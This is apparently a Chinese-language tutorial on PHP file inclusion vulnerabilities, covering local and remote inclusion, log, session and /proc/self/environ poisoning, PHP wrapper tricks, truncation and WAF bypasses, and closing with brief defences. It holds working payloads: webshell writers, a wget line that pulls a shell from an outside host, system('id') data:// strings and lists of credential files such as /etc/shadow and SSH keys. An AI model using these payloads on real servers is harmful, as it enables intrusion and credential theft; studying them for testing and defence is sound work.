文件包含
1、文件包含漏洞概述
服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当PHP来执行,这会为开发者节省大量的时间。这意味着您可以创建供所有网页引用的标准页眉或菜单文件。当页眉需要更新时,您只更新一个包含文件就可以了,或者当您向网站添加一张新页面时,仅仅需要修改一下菜单文件(而不是更新所有网页中的链接)
2、漏洞产生原因
文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码。
示例代码
例如:
$_GET['filename']
参数开发者没有经过严格的过滤,直接带入了include的函数,攻击者可以修改$_GET['filename']
的值,执行非预期的操作。
3、文件包含漏洞的危害
执行任意代码
读取文件源码或敏感信息
包含恶意文件控制网站,甚至控制服务器
4、文件包含漏洞分类
本地文件包含( Local File Include (LFI)):包含本地服务器的文件
远程文件包含(Remote File Include (RFI)):可以包含其他服务器的文件可以包含图片等等类型如果图片为PHP脚本语法也会被以PHP形式解析文件包含
远程包含与本地包含没有区别,无论是哪种扩展名,只要遵循PHP语法规范,PHP解析器就会对其解析。
5、文件包含的相关函数
Php
相关的PHP函数 | 功能解释 | 错误时的操作 |
include | 语句会获取指定文件中存在的所有文本/代码/标记,并复制到使用 include 语句的文件中 | 引入的文件有错误时,只生成警告(E_WARNING),并且脚本会继续执行脚本 |
include_once | 此行为和 include 语句功能类似,唯一区别是 PHP 会检查该文件是否已经被包含过,如果是则不会再次包含。 | |
require | 语句会获取指定文件中存在的所有文本/代码/标记,并复制到使用 require 语句的文件中 | 引入的文件有错误时,会生成致命错误(E_COMPILE_ERROR)并停止脚本运行 |
require_once | 与 require 语句功能类似,唯一区别是 PHP 会检查该文件是否已经被包含过,如果是则不会再次包含。 |
include和require区别主要是,include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行;而require函数出现错误的时候,会直接报错并退出程序的执行。
include_once(),require_once()这两个函数,与前两个的不同之处在于这两个函数只包含一次,适用于在脚本执行期间同一个文件有可能被包括超过一次的情况下,你想确保它只被包括一次以避免函数重定义,变量重新赋值等问题。
PHP函数 | 功能解释 |
highlight_file | 函数对文件进行语法高亮显示 |
show_source | 函数对文件进行语法高亮显示 |
readfile | 函数读取一个文件,并写入到输出缓冲 如果成功,该函数返回从文件中读入的字节数。如果失败,该函数返回 FALSE 并附带错误信息。您可以通过在函数名前面添加一个 '@' 来隐藏错误输出 |
file_get_contents | 函数把整个文件读入一个字符串中 |
fopen | 函数打开文件或者 URL |
file | 函数把整个文件读入一个数组中 |
Jsp/servlet
ava.io.file()
java.io.filereader()
Asp
include file
include virtual
6、文件包含漏洞的条件
在php.ini文件里进行配置
allow_url_ fopen :为ON时 (默认为On),能读取远程文件,例如file_get_contents()就能读远程文件
allow_url. include :为ON时 (php5.2之后默认为Off) ,就可使用include和require等方式包含远程文件
7、本地文件包含
无限制本地文件包含
两个文件在同一目录下(若不在同一目录这被包含的文件路径必须写绝对路径或相对路径)
被包含的页面的后缀无论是什么都会当做PHP解析
示例代码
例如:
$_GET['filename']参数开发者没有经过严格的过滤,直接带入了include的函数,攻击者可以修改$_GET['filename']的值,执行非预期的操作。
注:即便被包含的文件并不是与当前编程语言相关,甚至为图片,只要文件被包含,其内容会被包含文件包含,并以当前服务器脚本语言执行。
测试结果
如果包含的文件内容不符合php语言语法的,会直接将文件内容输出,比如:
目录遍历
./
当前目录 ../
上一级目录,这样的遍历目录来读取文件
7.1文件包含配置文件
包含一些敏感的配置文件,获取目标敏感信息
常见的敏感信息路径:
Windows系统:
c:\boot.ini #查看系统版本 c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件 c:\windows\repair\sam #存储 windows 系统初次安装的密码 c:\windows\repair\sam // 存储Windows系统初次安装的密码 c:\ProgramFiles\mysql\my.ini // MySQL配置 c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码 c:\windows\php.ini // php 配置信息
Linux:
/etc/passwd // 账户信息 /etc/shadow // 账户密码文件 /usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件 /usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置 /etc/php5/apache2/php.ini //ubuntu 系统的默认路径 /usr/local/app/php5/lib/php.ini // PHP相关配置 /etc/httpd/conf/httpd.conf // Apache配置文件 /etc/my.conf // mysql 配置文件 /etc/resolv.conf /root/.ssh/known_hosts /etc/network/interfaces /root/ .ssh/authorized_keys /root/ .ssh/id_rsa /root/ .ssh/id_ras.keystore /root/.bash_history /root/ .mysql_history /proc/self/fd/fd[0-9]*(文件标识符) /proc/mounts /porc/config.gz
......
7.2 文件上传图片马联合文件包含
一般用于文件上传,上传图片马后如果存在文件包含漏洞,那么就可以包含执行图片马里面的php
代码
还可以上传图片马进行生成一个shell.php进行getshell(条件竞争)
7.3 session本地文件包含利用
利用条件:session存储位置获取
获取方法1:通过phpinfo信息获取到session.save_path的session存储位置
常见的php-session存放位置:
/var/lib/php/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
windows默认C:\WINDOWS\Temp或集成环境下的tmp文件夹里
Linux下默认存放在/var/lib/php/session目录下
获取方法2:猜测默认的session存放位置
session中的内容可以被控制,传入恶意代码。
示例:
此php会将获取到的GET型ctfs变量的值存入到session中。
当访问http://127.0.0.1/session.php?ctfs=ctfs 后,会在D:\phpStudy\PHPTutorial\tmp\tmp目录存储session值。
session的文件名为sess_+sessionid,sessionid可以通过开发者模式获取。
所以session的文件名为:5ba03eaaa1b81759bbd60937fe821215
到服务器的D:\phpStudy\PHPTutorial\tmp\tmp目录下查看果然存在此文件,内容为:
漏洞利用
通过上面的分析,可以知道ctfs传入的值会存储到session文件中,如果存在本地文件包含漏洞,就可以通过ctfs写入恶意代码到session文件中,然后通过文件包含漏洞执行此恶意代码getshell。
当访问http://127.0.0.1/session.php?ctfs=<?php phpinfo();?>后,会在D:\phpStudy\PHPTutorial\tmp\tmp目录下存储session的值。
攻击者通过phpinfo()信息泄露或者猜测能获取到session存放的位置,文件名称通过开发者模式可获取到,然后通过文件包含的漏洞解析恶意代码getshell。
Getshell思路
扩展
burp抓包,写入一句话木马,主要在user-agent最后加入
7.4 日志本地文件包含利用
什么是日志文件?
WEB服务器一般会将用户的访问记录保存在访问日志中。那么我们可以根据日志记录的内容,精心构造请求,把PHP代码插入到日志文件中,通过文件包含漏洞来执行日志中的PHP代码。
在用户发起请求时,服务器会将请求写入access.log(会记录访问IP、访问链接、Referer和User-Agent等),当请求错误时将错误写入error.log
注意:
一般情况下日志存储目录会被修改,需要读取服务器配置文件(httpd.conf ,nginx.conf...)或者根据phpinfo()中的信息来得知
日志记录的信息都可以被调整,比如记录报错的等级,或者内容格式。
日志文件
配置网站访问Apache访问日志,phpstudy默认是不打开。
开启通用日志功能
在D:\phpStudy\PHPTutorial\Apache\conf\httpd.conf的,打开httpd.conf配置文件,第299行
##CustomLog "logs/access.log" common
去掉前边的 # ,并重启apache。
日志默认路径
apache+Linux 日志默认路径
/etc/httpd/logs/access_log
/var/log/httpd/access log
apache+win2003 日志默认路径
D:/xampp/apache/logs/access.log D:/xampp/apache/logs/error.log
IIS6.0+win2003 默认日志文件
C:/WINDOWS/system32/Logfiles
IIS7.0+win2003 默认日志文件
%SystemDrive%/inetpub/logs/LogFiles
nginx 日志文件在用户安装目录的 logs 目录下
如安装目录为 /usr/local/nginx
,则日志目录就是在
/usr/local/nginx/logs
也可通过其配置文件 Nginx.conf,获取到日志的存在路径
/opt/nginx/logs/access.log
web 中间件默认配置
apache+linux 默认配置文件
/etc/httpd/conf/httpd.conf
index.php?page=/etc/init.d/httpd
IIS6.0+win2003 配置文件
C:/Windows/system32/inetsrv/metabase.xml
IIS7.0+WIN 配置文件
C:/Windows/System32/inetsrv/config/application/Host.config
一.利用条件三个
文件包含漏洞
日志文件的路径
日志可读性
Windows和linux的路径不一样,但是也有默认的路径
一.找到日志文件路径
phpstudy的Apache默认路径C:\phpStudy\PHPTutorial\Apache\conf\extra\httpd-vhosts.conf
二.测试是否可以文件包含
http://test.com/test.php?page=C:\phpStudy\PHPTutorial\Apache\logs\access.log
包含错误日志: ?file=../../../../../../../../../var/log/apache/error.log (试试把UA设置为“”来使payload进入日志)
三.包含phpinfo
我们用浏览器去访问的时候,对于URL路径是直接记录到日志文件里面的
如果是去请求phpinfo代码然后执行那么就把phpinfo代码写进日志文件里面
正常来说是显示phpinfo页面因为在后台把这些特殊字符进行URL编码(浏览器默认将来一些字符进行URL编码)
解决
利用Burp进行抓包直接把代码写进去
再去访问包含日志文件
Getshell
总结
因为浏览器自带URL编码,如果用Burp则绕过
参考文章
https://www.cnblogs.com/my1e3/p/5854897.html
可以尝试利用 UA 插入 payload 到日志文件
7.5本地文件包含之MSF攻击模块
参考文章
https://www.fujieace.com/metasploit/php-meterpreter.html
7.6 本地文件包含ftp日志
ftp
连接时,用户名输入一句话木马
日志位置在/var/log/vsftpd.log
参考文章https://blog.csdn.net/xysoul/article/details/45031675
7.7 本地文件包含污染的ssh日志shell
Linux默认日志位置在/var/log/auth.log
案例
这样把用户名写成phpinfo,ssh的登陆日志就会把此次的登陆行为记录到日志中,利用包含漏洞getshell
可以看到我们登陆的行为都被记录到了日志当中
可以看到刚才登陆的时候,成功phpinfo写入到日志文件中并且成功解析
通过phpinfo查看到了网站根目录
本来想着利用文件包含漏洞配合fputs和fopen函数在网站根目录写入一句话木马getshell,但是由于单引号太多就报错了,只能另谋出路
然后就想到了把执行命令的一句话木马写入日志,利用文件包含执行反弹shell
然后构造请求执行命令,因为刚才我写进去的是通过GET方式用panda参数传参,多个参数之间用&符号连接,还是要注意,命令要url编码再执行
参考文章
https://www.cnblogs.com/PANDA-Mosen/p/13262638.html
7.8 phpMyAdmin包含
0x01 phpMyadmin包含session文件
首先进入执行SQL语言地方,执行如下操作
打开F12
查看到session
名,完整的session
文件就是sess_session
名
phpstudy
里面默认session
存储位置是phpstudy
下tmp/tmp
,于是包含该session
文件
参考文章
phpMyAdmin CVE-2018-12613
https://blog.csdn.net/weixin_43872099/article/details/104128639
[CVE-2014-8959] phpmyadmin任意文件包含漏洞分析
https://www.secpulse.com/archives/2595.html
7.9 包含临时文件+phpinfo getshell
在PHP文件包含漏洞中,当我们找不到用于触发RCE的有效文件时,如果存在PHPINFO(它可以告诉我们临时文件的随机生成的文件名及其位置),我们可能可以包含一个临时文件来利用它升级为RCE。
利用方法简述:
在给PHP发送POST数据包时,如果数据包里包含文件区块,无论你访问的代码中有没有处理文件上传的逻辑,PHP都会将这个文件保存成一个临时文件(通常是/tmp/php[6个随机字符]),文件名可以在$_FILES变量中找到。这个临时文件,在请求结束后就会被删除。
同时,因为phpinfo页面会将当前请求上下文中所有变量都打印出来,所以我们如果向phpinfo页面发送包含文件区块的数据包,则即可在返回包里找到$_FILES变量的内容,自然也包含临时文件名。
在文件包含漏洞找不到可利用的文件时,即可利用这个方法,找到临时文件名,然后包含之。
但文件包含漏洞和phpinfo页面通常是两个页面,理论上我们需要先发送数据包给phpinfo页面,然后从返回页面中匹配出临时文件名,再将这个文件名发送给文件包含漏洞页面,进行getshell。在第一个请求结束时,临时文件就被删除了,第二个请求自然也就无法进行包含。
这个时候就需要用到条件竞争,具体流程如下:
1、发送包含了webshell的上传数据包给phpinfo页面,这个数据包的header、get等位置需要塞满垃圾数据
2、因为phpinfo页面会将所有数据都打印出来,1中的垃圾数据会将整个phpinfo页面撑得非常大
3、php默认的输出缓冲区大小为4096,可以理解为php每次返回4096个字节给socket连接
4、所以,我们直接操作原生socket,每次读取4096个字节。只要读取到的字符里包含临时文件名,就立即发送第二个数据包
5、此时,第一个数据包的socket连接实际上还没结束,因为php还在继续每次输出4096个字节,所以临时文件此时还没有删除
6、利用这个时间差,第二个数据包,也就是文件包含漏洞的利用,即可成功包含临时文件,最终getshell
操作过程:
访问存在文件包含漏洞的页面
访问phpinfo页面,确实存在
然后利用网上的exp进行利用:
python2 exp.py 目标ip 8080 100
在189次请求时,就写入成功了
脚本exp.py实现了上述过程,成功包含临时文件后,会利用file_put_contents函数写入<?=eval($_REQUEST[1])?>一句话后门到/tmp/g文件中,这个文件会永久留在目标机器上
然后直接利用蚁剑进行连接即可,密码为1:
7.10包含 /proc/self/environ 文件
Linux下有一个文件/proc/self/environ,这个文件里保存了系统的一些变量。
利用条件:
1、php 以 cgi 方式运行,这样 environ 才会保持 UA 头。
2、environ 文件存储位置已知,且 environ 文件可读。
姿势:
proc/self/environ 中会保存 user-agent 头。如果在 user-agent 中插入 php 代码,则 php 代码会被写入到 environ 中。之后再包含它,即可。
?file=../../../../../../../proc/self/environ
选择 User-Agent 写代码如下:
<?system('wget http://www.yourweb.com/oneword.txt -O shell.php');?>
然后提交请求。
/proc/self/environ文件getshell
检查proc/self/environ是否可以访问 www.aaa.com/view.php?page=../../../../../proc/self/environ
3、如果可读就注入代码 访问:www.aaa.com/view.php?page=../../../../../proc/self/environ 选择User-Agent 写代码如下:<?system('wget http://www.yourweb.com/oneword.txt -O shell.php');?>
//提交请求;我们的命令将被执行(将下载http://www.yourweb.com/oneword.txt,并将其保存为它在shell.php网站目录),我们的shell也就被创建,.如果不行,尝试使用exec(),因为系统可能被禁用的从php.ini网络服务器.
4、访问shell
参考文章
https://blog.csdn.net/xysoul/article/details/45031675
7.11 文件包含案例
8、本地文件包含绕过
8.1 %00截断
PHP 内核是由 C 语言实现的,因此使用了 C 语言中的一些字符串处理函数。在连接字符串时,0 字节 (\x00) 将作为字符串的结束符。所以在这个地方,攻击者只要在最后加入一个 0 字节,就能截断 file 变量之后的字符串。
条件
PHP版本 < 5.3.4 (不包括5.3) ;
PHP对所接收的参数,如以上代码的
$_GET['file']
未使用addslashes
函数。PHP的扩展参数:magic_quotes_gpc = Off
因为PHP大于等于5.3的版本已经修复了这个问题,满足一定条件下可以使用%00
,因为当程序流遇到%00终止符的时候将直接终止。如果开启了gpc
或者使用了addslashes
函数的话则会对其进行转义。(还可以%00 截断目录遍历)
代码演示
`` http://127.0.0.1/include.php?file=../phpinfo.php%00
8.2 路径长度截断:
条件:
windows下目录路径最大长度为256字节,超出部分将丢弃
Linux下目录最大长度为4096字节,超出长度将丢弃
EXP:
点号截断
条件:windows OS,点号需要长于256
测试代码:
EXP:
8.3 ?问号伪截断
测试代码:
访问:http://127.0.0.1/include.php?page=http://127.0.0.1/2.jpg? 如图所示:
或者
8.4编码绕过
url编码
../ -》 %2e%2e%2f -》 ..%2f -》 %2e%2e/
.. -》 %2e%2e%5c -》 ..%5c -》 %2e%2e
二次编码
../ -》 %252e%252e%252f
.. -》 %252e%252e%255c
9、远程文件包含
远程文件包含就是允许攻击者包含一个远程的文件,一般是在远程服务器上预先设置好的脚本。 此漏洞是因为浏览器对用户的输入没有进行检查,导致不同程度的信息泄露、拒绝服务攻击 甚至在目标服务器上执行代码。
本地文件包含与远程文件有着相同的原理,但前者只能包含服务器上存在的文件,而后者可以包含远程服务器上的文件。
条件
PHP的配置文件allow_url_fopen和allow_url_include设置为ON,include/require等包含函数可以加载远程文件,如果远程文件没经过严格的过滤,导致了执行恶意文件的代码,这就是远程文件包含漏洞。
allow_url_fopen = On(是否允许打开远程文件)
allow_url_include = On(是否允许include/require远程文件)
所需的远程文件后缀不能与目标服务器的语言相同,如目标服务器解析PHP代码,则远程文件后缀不能为.php。
远程包含的文件路径必须是绝对路径
无限远程文件包含
那么在远程服务器执行phpinfo()之后,你就可以获得目标服务器的内容。由于它不会运行代码,所以包含的信息不是目标服务器,而是远程服务器。(远程的文件名不能为php可解析的扩展名(php、php5...)
测试代码:
通过远程文件包含漏洞,包含php.txt可以解析。
如下所示:
这是我的PHP5.6版本的远程设备信息,目标设备是5.2版本。
接下来是包含文件:
你可以看到,包含文件后,你的远程设备发生了变化,这是为什么呢?
由于目标服务器不包含此代码:
此时,远程服务器会执行此代码的源代码,如下所示:
所以为了使这个攻击开始运行,你需要做一些修改:
1、修改配置
2、修改文件后缀
此时,你可以再来尝试一下包含的攻击向量:
那么你可以看到所需的信息在此包含之后返回,并且你的目标设备信息不再改变。
接下来,你要再次为远程文件包含做一个shell示例。
远程文件包含使用的前提是,符合本地文件包含的前提并符合远程文件包含其可用性的前提。
10、远程文件包含利用
10.1 远程包含Shell
先写一个test.txt文件,保存在自己的远程服务器yyy上,内容如下:
<?fputs(fopen( "shell.php" , "w"), "<?php eval($_POST[shell]); ?>")?>
(2)则可以通过访问: http: //Www.xxx.com/index.php?page=http: //www.yyy.com/test.txt
则会在服务器根目录下生产一个shell.php
10.2利用XSS包含执行任意代码
?file=http://127.0.0.1/path/xss.php?xss=phpcode
(需要allow_url_fopen=On,allow_url_include=On并且防火墙或者白名单不允许访问外网时,先在同站点找一个XSS漏洞,包含这个页面,就可以注入恶意代码了。条件非常极端和特殊- -)
11、远程文件包含绕过
测试代码:
代码中多添加了html后缀,导致远程包含的文件也会多一个html后缀。
11.1“?”号绕过
11.2“#”号绕过
11.3 还有哪些可以绕?
用burp跑一遍发现空格也可以绕过:
%20
12、文件包含漏洞的利用方式-伪协议
12.1 什么是伪协议:
PHP里面为了读取PHP请求的参数或读取一些数据流/压缩包,通过这样的方式来进行伪协议的处理,
通过PHP伪协议可以通过文件读取/数据流的读取/压缩包的读取,根据这样操作利用到文件包含漏洞里面
Php带有很多内置的url风格的封装协议,这类协议与fopen(),copy(),file_exists(),filesize()等文件系统函数所提供的功能类似,常见协议如下表:
协议 | 功能 |
file:// | 访问本地文件系统 |
http:// | 访问 HTTP(S) 网址 |
ftp:// | 访问 FTP(S) URL |
php:// | 访问各个输入/输出流(I/O streams) |
zlib:// | 压缩流 |
data:// | 数据(RFC 2397) |
glob:// | 查找匹配的文件路径模式 |
phar:// | PHP 归档 |
ssh2:// | Secure Shell 2 |
rar:// | RAR |
ogg:// | 音频流 |
expect:// | 处理交互式的流 |
php各种伪协议参考:http://php.net/manual/zh/wrappers.php.php
需要看的文章
1.文件包含漏洞小节
https://www.cnblogs.com/iamstudy/articles/include_file.html
2.论PHP常见的漏洞
http://www.anquan.us/static/drops/papers-4544.html
3.php伪协议
http://blog.csdn.net/Ni9htMar3/article/details/69812306?locationNum=2&fps=1
4.包含日志文件getshell
https://www.cnblogs.com/my1e3/p/5854897.html
伪协议说明
协议 | 测试PHP版本 | allow_url_fpen | allow_url_include | 用法 | 说明 |
file:// | >=5.2 | off/on | off/on | ?file=file://D:/soft/phpstudy/WWW/phpcode.txt | 读取电脑或者服务器的路径某一个文件,而且把内读取出来 |
php://filter | >=5.2 | off/on | off/on | ?file=php://filter/read=convert.base64-encode/resource=./index.php | 可以通过filter协议读文件,读出来的文件能进行编码 |
php://input | >=5.2 | on | on | ?file=php://input POST DATA]<?php phpinfo0?> | 可以访问请求原始数据的只读流,将POST的数据当做PHP代码来执行 |
zip:// | >=5.2 | off/on | off/on | file=zip://D:/soft/phpStudy/WWW/file.zip%23phpcode.bxt | 跟fille差不多,区别在于zip是压缩包 %23是编码是# 就是压缩包里面有一个txt文件 |
compress.bzip2:// | >=5.2 | off/on | off/on | ?file=compress.bzip2://D:/soft/phpStudy/WWW/file.gz【or】?file=compress.zlib2://./file.bz2 | |
compress.zipb:// | >=5.2 | off/on | off/on | ?file=compress.zlib://D:/soft/phpStudy/WWW/file.gz 【or】?file=compress.zlib://./file.gz | |
data:// | >=5.2 | on | on | ?file=data://text/plain,<?php phpinfo()?> 【or】 ?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=也可以: ?file=data:text/plain,<?php phpinfo()?> 【or】 ?file=data:text/plain:base64.PD9waHAgcGhwaW5mbyqpPz4= | 类似input 让用户来控制输入流 base64编码的phpinfo PD9waHAgcGhwaW5mbyqpPz4= |
包装器或协议 | 可控功能 | allow_url_include | 漏洞类型 | 备注 |
file:// | - | Off | LFI /文件处理 | |
glob:// | - | Off | 目录遍历 | |
php://filter/read | include | Off | 档来披露 | php://filter/read=convert.base64-encode/resource=index.php |
php://filter/write | file_put_contents | Off | 编码方式 | file_put_contents("php://filter/write=string.rot13/resource=x.txt","content"); |
php://input | include | On | RCE | Encoding is required while reading .php source: <?php echo base64_encode(file_get_contents("solution.php"));?> OR just use <?php system('cat x.php');?> |
data:// | include | On | RCE | data:text/plain,<?php system("id")?> OR data:text/plain;base64,PD9waHAgc3lzdGVtKCJpZCIpPz4= |
zip:// | include + uploaded file | Off | RCE | |
phar:// | include + uploaded file | Off | RCE | PHP version >= 5.3 |
12.2 file://协议
file:// 用于访问本地文件
file:// [文件的绝对路径和文件名]
测试代码:
· http://127.0.0.1/1.php?x=file://D://phpinfo.txt
12.3 php://协议 输入/输出流(I/O streams)
php://filter:用于读取源码并进行bash64编码输出;
在双off的情况下也可以正常使用;
条件:
allow_url_fope off/on
allow_url_include on
不需要开启allow_url_fopen
php://input:可以访问请求的原始数据的只读流,将post请求中的数据作为PHP代码执行;
条件(php.ini):
allow_url_fope off/on
allow_url_include on
仅php://input、 php://stdin、 php://memory 和 php://temp 需要开启 allow_url_include。
php://stdin是只读的,php://stdout 和 php://stderr 是只写的。 php://output 是一个只写的数据流, 允许你以 print 和 echo 一样的方式 写入到输出缓冲区。
php://fd 允许直接访问指定的文件描述符。
在CTF中经常使用的是php://filter和php://input
php://filter用于读取源码
php://input用于执行php代码
12.4 php://input
php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。从而导致任意代码执行。
因为它不依赖于特定的 php.ini 指令。
注:enctype="multipart/form-data" 的时候 php://input 是无效的。
注:遇到file_get_contents()要想到用php://input绕过。
条件:
php <5.0 ,allow_url_include=Off/On 情况下也可以用
php > 5.0,只有在allow_url_fopen=On 时才能使用
测试代码:
1.利用php://input执行phpinfo代码
它会读取POST的内容进行执行因为把php代码include到里面了php代码就会执行
这样就可以获取phpinfo页面说明代码成功执行了 我们要获取flag
2.利用php://input system来执行当前系统的操作目录
3.利用php://input 写shell
既然可以执行php代码那么可以利用来生成一个一句话木马文件
这样就写了shell.php
12.5 php_filter (本地磁盘文件进行读取)重点理解
php://filter:(读取文件)
php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。 可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行。从而导致 任意文件读取。
php://filter 参数
名称 | 描述 | 说明 |
resource=<要过滤的数据流> | 这个参数是必须的。它指定了你要筛选过滤的数据流。 | 理解为文件名字 |
read=<读链的筛选列表> | 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。 | |可以加或不加,如果加可以Base64进行编码 |
write=<写链的筛选列表> | 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。 | |
<;两个链的筛选列表> | 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。 |
语法
Example #2 php://filter/resource=<待过滤的数据流>
这个参数必须位于 php://filter 的末尾,并且指向需要过滤筛选的数据流。
Example #3 php://filter/read=<读链需要应用的过滤器列表>
这个参数采用一个或以管道符 | 分隔的多个过滤器名称。
Example #4 php://filter/write=<写链需要应用的过滤器列表>
这个参数采用一个或以管道符 | 分隔的多个过滤器名称。
参考php官网https://www.php.net/manual/zh/wrappers.php.php
测试代码:
index.html
index.php
show.php
打开地址 点击一下 click me? no
直接跳到 http://127.0.0.1/1/index.php?file=show.php 从URL得到出file传参包含得到show.php
使用伪协议php://filter base64编码进行包含index.php
得到base64编码
PGh0bWw+DQogICAgPHRpdGxlPkJ1Z2t1LWN0ZjwvdGl0bGU+DQogICAgDQo8P3BocA0KCWVycm9yX3JlcG9ydGluZygwKTsNCglpZighJF9HRVRbZmlsZV0pe2VjaG8gJzxhIGhyZWY9Ii4vaW5kZXgucGhwP2ZpbGU9c2hvdy5waHAiPmNsaWNrIG1lPyBubzwvYT4nO30NCgkkZmlsZT0kX0dFVFsnZmlsZSddOw0KCWlmKHN0cnN0cigkZmlsZSwiLi4vIil8fHN0cmlzdHIoJGZpbGUsICJ0cCIpfHxzdHJpc3RyKCRmaWxlLCJpbnB1dCIpfHxzdHJpc3RyKCRmaWxlLCJkYXRhIikpew0KCQllY2hvICJPaCBubyEiOw0KCQlleGl0KCk7DQoJfQ0KCWluY2x1ZGUoJGZpbGUpOyANCi8vZmxhZzpmbGFne2VkdWxjbmlfZWxpZl9sYWNvbF9zaV9zaWh0fQ0KPz4NCjwvaHRtbD4=
使用Burp解密得到
flag为flag:flag{edulcni_elif_lacol_si_siht}
12.6 php://output
是一个只写的数据流, 允许你以 print 和 echo 一样的方式 写入到输出缓冲区。
测试代码:
· http://127.0.0.1/5.php?a=php://output
12.7 zip://, bzip2://, zlib://协议
zip://, bzip2://, zlib://协议条件:
allow_url_fope off/on
allow_url_include off/on
bzip2://使用方法:
bzip2://file.bz2zlib://使用方法:
zlib://file.gz
zip://, bzip2://, zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名。
可以访问压缩包里面的文件。当它与包含函数结合时,zip://流会被当作php文件执行。从而实现任意代码执行。
zip://中只能传入绝对路径。
要用#分隔压缩包和压缩包里的内容,并且#要用url编码%23(即下述POC中#要用%23替换)
只需要是zip的压缩包即可,后缀名可以任意更改。
相同的类型的还有zlib://和bzip2://
zip://协议
php 版本大于等于 php5.3.0
zip://使用方法:
zip://[压缩文件绝对路径]#[压缩文件内的子文件名]
要用绝对路径+url编码#
创建一个uploads文件夹
测试代码:
//index.php
//upload.php
点击upload?直接跳转
跳转到文件上传功能上 题目思路上传文件再利用压缩包协议进行包含获取webshell
从上传分析只能上传jpg,png,zip.....
上传一个压缩包里面包含php的文件 并且得到了绝对路径
利用zip协议进行包含并且加上%23和压缩包里面文件(如果不用%23而用#后面的文件是被忽略)
访问失败 因为在代码中是拼接了一个php
在访问的时候去掉“ .php ”就可以了
如果把压缩包改成“jpg”是否还可以通过zip协议识别包含
说明zip协议不会校验后台的名称,不管是jpg还是png等等都会当成zip文件
bzip2://协议
使用方法:
compress.bzip2://file.bz2
相对路径也可以
测试
用7-zip生成一个bz2压缩文件。
pyload:http://127.0.0.1/xxx.php?a=compress.bzip2://C:/Users/liuxianglai/Desktop/test.bz2
或者文件改为jpg后缀
` http://127.0.0.1/xxx.php?a=compress.bzip2://C:/Users/liuxianglai/Desktop/test.jpg
zlib://协议
使用方法:
compress.zlib://file.gz
相对路径也可以
` http://127.0.0.1/xxx.php?a=compress.zlib://file.gz
扩展
尝试利用其它协议进行测试
省略
phar:// 有点类似zip://同样可以导致 任意代码执行。
phar://中相对路径和绝对路径都可以使用
12.8 php-date
条件:
allow_url_fope = on allow_url_include = on
data://:将原本的include的文件流重定向到了用户可控制的输入流中
条件: allow_url_include=On php > 5.2
测试代码:
通过data://text/plain协议包含phpinfo
通过data://text/plain协议包含Base64编码phpinfo
通过data:text/plain协议包含phpinfo(省掉“//”)
通过data://text/plain协议包含Base64编码<?php system("dir");?>
通过data://text/plain协议包含利用一句话木马
13、
限制了只能包含 .xxx
文件的绕过方法
13.1 绕过方法一 - zip协议
新建一个名为1.html的文件,内容为<?php phpinfo();?>
,然后压缩为名为111.zip的zip文件。
接着利用网站的上传功能上传文件
攻击payload: ` http://atest.test/2.php?x=zip://111.zip%231
13.2 绕过方法二 - zip协议
有的上传点可能限制死了,你只能上传jpg的图片那么你可以这样做
新建一个名为1.html的文件,内容为<?php phpinfo();?>
,然后压缩为名为111.zip的zip文件。
接着 111.zip 改名为 111.jpg
攻击payload:
http://atest.test/2.php?x=zip://111.jpg%231
13.3 绕过方法三 - phar协议
新建一个名为1.html的文件,内容为<?php phpinfo();?>
,然后压缩为名为111.zip的zip文件。
如果可以上传zip文件则上传zip文件,若不能则重命名为111.jpg后上传。
攻击payload-1: http://atest.test/2.php?x=phar://111.jpg%2F1
攻击payload-2: http://atest.test/2.php?x=phar://111.zip%2F1
这两个payload 就看你能上传哪个文件了
如果可以上传 jpg 那么就使用payload-1
如果可以上传 zip 那么就使用payload-2
参考https://www.yuque.com/pmiaowu/web_security_1/yzr176#QKRsZ
总结
通过实验发现这个可能是编码的问题因为<?php phpinfo();?>在编成base64的时候出现了+。而浏览器不认识+号。所以解决方法
不写后面的?> 因为PHP里面其实不需要写后面的 前面的;号就已经说明结束了。如果没有;号就必须写?>作为结束。
添加空格改变base64编码。
将+号换成%2b
将<?php phpinfo();?>改变成url编码
14、JSP包含
#静态包含
Jsp中的静态包含语句为
<%@ include file=”page.txt”%>
编写好page.txt后访问index.asp,page.txt将会被解析。Jsp语法规定include指令为静态包含只能调用已经存在于服务器中的文件,因此include指令将不存在文件包含漏洞。
# 动态包含
动态包含语句为:<jsp:include page=”page.txt”/>
与静态包含相反在运行时会先处理被包含的页面,然后再包含,而且可以包含一个动态页面。
15、WAF
当碰到 WAF 时,可以把 <> 这些特殊符号进行编码再试。
如果WAF中是字符串匹配,可以使用url多次编码的方式可以绕过
特殊字符绕过
某些情况下,读文件支持使用Shell通配符,如 ? * 等
url中 使用 ? # 可能会影响include包含的结果
某些情况下,unicode编码不同但是字形相近的字符有同一个效果
url编码、双层(多层)url编码
%2e%2e%2f 解码:../
%2e%2e%5c 解码:..\
%25%2e%25%2e%255c 解码:..\(可使用burp多层编码和解码)
uniclode/UTF-8编码
..%c0%af 解码:../
%c1%9c 解码:..\
但编码能否正确的起到效果,得看web server是否能对编码后的做解析
16、文件包含防御
PHP中使用open_basedir配置限制访问在指定目录的区域
过滤.(点)/(反斜杠)\(反斜杠)
禁止服务器远程文件包含
尽量不要使用动态包含,可以在需要包含的页面固定写好
